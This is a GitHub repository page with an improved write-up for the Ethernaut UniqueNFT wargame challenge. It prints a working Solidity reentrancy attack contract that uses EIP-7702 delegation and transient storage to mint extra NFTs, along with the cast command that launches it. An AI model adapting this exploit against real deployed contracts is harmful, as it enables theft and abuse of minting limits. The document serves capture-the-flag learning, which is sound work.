Skip to content

anon-cBE4/ethernaut_UniqueNFT_better

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

1 Commit
 
 
 
 

Repository files navigation

ethernaut UniqueNFT better

中文 english

Reference: Ethernaut — UniqueNFT : Solved by @sidarth16

This page shows the improvement of the final exploit. by 0xcBE4Fa4369B5AaEC428756dB8fa4A96E29E205e6

The limitation of the original writeup

// ......
contract ReentrancyAttacker is IERC721Receiver {
    IUniqueNFT public immutable target;
    uint256 public entered;
// ......
    function onERC721Received(
        address,
        address,
        uint256,
        bytes calldata
    ) external returns (bytes4) 
    {
        entered += 1;

        if (entered == 1) {
            // Reenter the mint function once
            target.mintNFTEOA();
        }

        return IERC721Receiver.onERC721Received.selector;
    }
}

EIP-7702 is a temporary delegate for EOA, BUT it effect the storage of EOA. In above code, if you has some data at slot0(variable entered), entered == 1 always return false.

Solution

Transient storage is a key feature introduced in the Cancun upgrade and defined by EIP-1153.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.30;

interface IUniqueNFT {
    function mintNFTEOA() external returns (uint256);
}

contract ExploitTransient {
    address public immutable target;

    // Key slot for transient storage, chosen arbitrarily to avoid collisions
    uint256 private constant T_COUNT_SLOT = 0x1337;

    constructor(address _target) {
        target = _target;
    }

    function onERC721Received(
        address,
        address,
        uint256,
        bytes calldata
    ) external returns (bytes4) {
        uint256 count;

        assembly {
            count := tload(T_COUNT_SLOT)
        }

        // Logic: We need 5 NFTs
        // After the 1st Mint succeeds and triggers the callback, count=0, we reenter.
        // After the 2nd Mint succeeds and triggers the callback, count=1, we reenter.
        // After the 3rd Mint succeeds and triggers the callback, count=2, we reenter.
        // After the 4th Mint succeeds and triggers the callback, count=3, we reenter.
        // After the 5th Mint succeeds and triggers the callback, count=4, stop.
        if (count < 4) {
            assembly {
                tstore(T_COUNT_SLOT, add(count, 1))
            }
            IUniqueNFT(target).mintNFTEOA();
        }
        return 0x150b7a02;
    }
}
// cast send INSTANCE_ADDRESS "mintNFTEOA()" --private-key $PRIVATE_KEY --rpc-url $RPC --auth ExploitTransient_ADDRESS

About

better writeup for UniqueNFT

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors